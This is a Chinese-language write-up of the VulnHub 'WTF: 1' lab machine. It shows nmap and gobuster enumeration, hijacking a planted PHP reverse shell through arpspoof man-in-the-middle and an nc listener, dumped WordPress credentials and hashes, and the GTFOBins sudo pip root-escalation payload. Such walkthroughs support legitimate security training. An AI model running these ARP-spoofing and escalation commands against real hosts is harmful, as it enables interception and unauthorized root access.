简介
Name:WTF:1
靶机地址:WTF: 1 ~ VulnHub
Level:intermediate machine
Task:拿到 /root/flag.txt
文件
其中作者给了我们一点提示:Remember, good enumeration!(意思就是告诉我们要用枚举爆破)
注意:我在玩这个靶机的时候用了两天,其中配置网络原因导致本文章的靶场IP变换了几次,从最初的192.168.0.15
再到192.168.1.130
,大家明白就好!
信息搜集
拿到靶机的第一时间先探测一下靶机的 IP
:
1 |
netdiscover -i eth0 |
获取到靶机到 IP
为 192.168.0.15
,接下来使用 NMAP
对 IP
进行端口探测:
1 |
nmap -A -T4 192.168.0.15 |
发现它开放了 22
(ssh)和 80
(http)端口,入侵点有点少,估计就在 80
端口了。打开它的 web
页面没有啥可利用的信息:
1 |
http://192.168.0.15/ |
那么还是老规矩,扫一扫它的目录文件来看看:
发现了一个 zhkh
的目录,打开非常卡,而且发现它的请求是 192.168.1.13
这个 ip
:
1 |
http://192.168.0.15/zhkh/ |
等了 N 久之后发现页面是乱的,估计是网络问题没有加载完:
通过问组长 Ins1ght
大佬说可以使用 Burpsuite
里的 Options
设置可以替换掉我们代理的 192.168.0.15
这个靶场 IP
,因为返回包里提示了这个:
所以我们利用 Burpsuite
把它替换为 192.168.1.13
:
这个时候我们再来访问网站就会很快了而且返回的页面是正常的:
翻了一下页面发现它的 CMS 是 Wordpress
,接着拿 Wpscan
一顿梭哈,发现了它的版本是 Wordpress5.3
,而且没有啥可利用点:
那么继续信息搜集,用 gobuster
扫它的目录文件:
1 |
gobuster dir --url http://192.168.0.15/zhkh/wp-content/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .php,.txt,.html,.zip,.rar |
1 2 3 4 5 6 7 |
=============================================================== /index.php (Status: 200) /themes (Status: 301) /uploads (Status: 301) /plugins (Status: 301) /upgrade (Status: 301) =============================================================== |
其他文件没啥用,有用的就是 /uploads
这个目录,打开后是一个目录遍历:
我们来到 uigen_2019
这个目录下发现有一个 shell.php
文件引起了我的注意:
通过 Burpsuite
抓包发现响应包有错误信息:
1 2 |
WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110) |
后来通过去 Google 搜索了一下 Response
发现了这个:
1 |
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php |
wireShark捕获脚本木马信息
通过大致的看了看代码它使用的是反向
连接的 shell
,也就是我们监听一个端口和IP,目标运行 shell.php
这个文件,然后我们就得到了一枚shell,这就是反向。
但是问题来了,我们不知道这个 shell.php
里的端口和 IP
是多少。这个时候我问了一下组长它说让我使用 wireShark
抓包分析一下然后利用 MITM
(中间人攻击)。
那么先用 wireShark
抓包分析一下 eth0
这个网卡的流量吧,打开 wireShark
后捕获到一个有关于靶机(192.168.0.15)的 TCP
数据包:
这个流量的意思是这样的:wireShark
捕获到靶机(192.168.0.15)这个源IP
地址向 Destination
(192.168.1.14)目的 IP 地址发送TCP
请求。通过查看这条数据包发现源端口是 51234
,目的端口是 5555
。
因此分析后得知我们需要让我们的 IP
变为 192.168.1.14
,然后监听 5555
端口就可以得到一枚 shell
!
MITM中间人ARP攻击得到shell
有关ARP
和MITM
的文章可以看看这些:
1 2 |
https://www.cnblogs.com/LittleHann/p/3735816.html https://www.cnblogs.com/LittleHann/p/3735602.html |
这个时候就可以利用 ARP
欺骗来告诉靶机(192.168.1.130)我 KALI
这台主机的 IP
为 192.168.1.14
,从而利用 ARP
协议让 KALI 的 MAC
地址和 192.168.1.14
相同,造成这么一个 ARP
欺骗!
我先是在我KALI中添加了一个新的网卡:eth1
,然后只设置它的IP
、子网掩码
、网关不需要设置:
设置好后重启网络发现多了一个网卡 eth1
,其中IP
为192.168.1.14
:
这个时候再配置 KALI 的 IP
转发功能,把 ip_forward
的默认值 0
修改为 1
:
然后 nc
监听 5555
端口、访问 shell.php
,随后进行 arp
欺骗攻击得到一枚shell
:
1 2 |
arpspoof -i eth0 -t 192.168.1.130 192.168.1.14 注释:-i 指定网卡 -t 要arp欺骗的ip,第一个IP是告诉目标IP我们kali的IP为192.168.1.14 |
这个时候就通过MITM
成功的获取到一枚shell!这里多亏队员 Ironman_24
大佬的提示!感谢!!!
第二种方法
我在我 MAC
的 WMware
添加了一个新的网卡,VMware2
,随后修改了一下 KALI
的 静态IP
:
设置完后重启网络:/etc/init.d/networking restart
,这个时候 ip
就更改成功了:
接着访问 http://192.168.1.130/zhkh/wp-content/uploads/uigen_2019/shell.php
,然后 nc
监听 5555
端口得到了一枚 shell:
看了看权限只是一个普通的网站权限:
我们先让它得到一个 bash
的 shell 把:
来到了网站根目录下找到了 Wordpress
的配置文件:
发现了 Mysql
的连接信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
<?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wp_database' ); /** MySQL database username */ define( 'DB_USER', 'ra' ); /** MySQL database password */ define( 'DB_PASSWORD', '912391929129' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'hmdNSrpLV5we) E$0_/E,$Vxr0%<S{]D@)T+rc%a7wvbr)Q|bm7boJdOz/AN>/#&' ); define( 'SECURE_AUTH_KEY', 'DR&l3>0z8mmFT+Y}#bqND_~H;wb[r|:te+tN%:K PS7=~~/;uA5)zj~Z%tu}-8UJ' ); define( 'LOGGED_IN_KEY', '7+cns%lA?p60U~*(J,z9zp4w 2%hB1S6jZ0NuUgl(oK,#H6&GL,i@+4m:1w3|-aW' ); define( 'NONCE_KEY', 'm5,d=I4 MShd4lU#8F@@oj2cKpc+J[Kp3bRt%Sfuw.%#`oVKzgDMTl5+D[nu,R<K' ); define( 'AUTH_SALT', 'sl3w_.}n|M{~D#6,v]U?Kz/,k&oCnn1._|(i3Y|ng7+<-f4Nv7mmR4B<i>!?du#i' ); define( 'SECURE_AUTH_SALT', 'b>,[La8I5xqchTMvXN-bI8%[)-V[wHjNmj/1jZ_Vnq`q0<|E@6^.8~KpI_#53Rw_' ); define( 'LOGGED_IN_SALT', 'v_`E=EA]$UBa.2P|%YV4cl}(c@AVkW$V5959/gQL~a:,O}qfG85Xc4)=xRBux6g?' ); define( 'NONCE_SALT', 'TE#Tim,4h|zKYm$he[F%J*4vG{v]VK!jP0sSeBLHp7Mp|P*XJz:=&n<nsfbIFq>a' ); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define( 'WP_DEBUG', false ); /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', dirname( __FILE__ ) . '/' ); } /** Sets up WordPress vars and included files. */ require_once( ABSPATH . 'wp-settings.php' ); //`Db]f{He3HgO`(z |
尝试登陆 Mysql
登陆成功,通过在数据库里查看管理员的账户密码发现密码是加密加盐了的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
MariaDB [wp_database]> show tables; show tables; +-----------------------+ | Tables_in_wp_database | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.001 sec) MariaDB [wp_database]> select * from wp_users; select * from wp_users; +----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+ | 1 | admin | $P$Bn5.YpTbLgCbD2Ji7QLutRiZpRHeAS0 | admin | [email protected] | | 2019-11-21 16:48:31 | | 0 | admin | +----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+ 1 row in set (0.000 sec) MariaDB [wp_database]> MariaDB [wp_database]> |
就在这个时候,我发现了一个注释引起了我的注意:
1 |
`Db]f{He3HgO`(z |
抱着试一试的心态登陆 sa
用户的 SSH
发现登陆成功:
pip提权拿到Flag
通过查看那些命令是可以以 root
权限执行的发现了 pip
:
1 |
sudo -l |
这个时候通过 https://gtfobins.github.io/
这个提权手册找到了现成的 Payload https://gtfobins.github.io/gtfobins/pip/#sudo
,利用 sudo
提权为 root
:
1 2 3 |
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF |
最终在 /root
目录下拿到 flag
~
总结
这次靶机的相对于来说还是挺有新意的,接触了到MITM
(中间人攻击)学会了这种思路就方便以后遇到就可以利用这种思路去解题。
交流群:
微信公众号:
知识星球: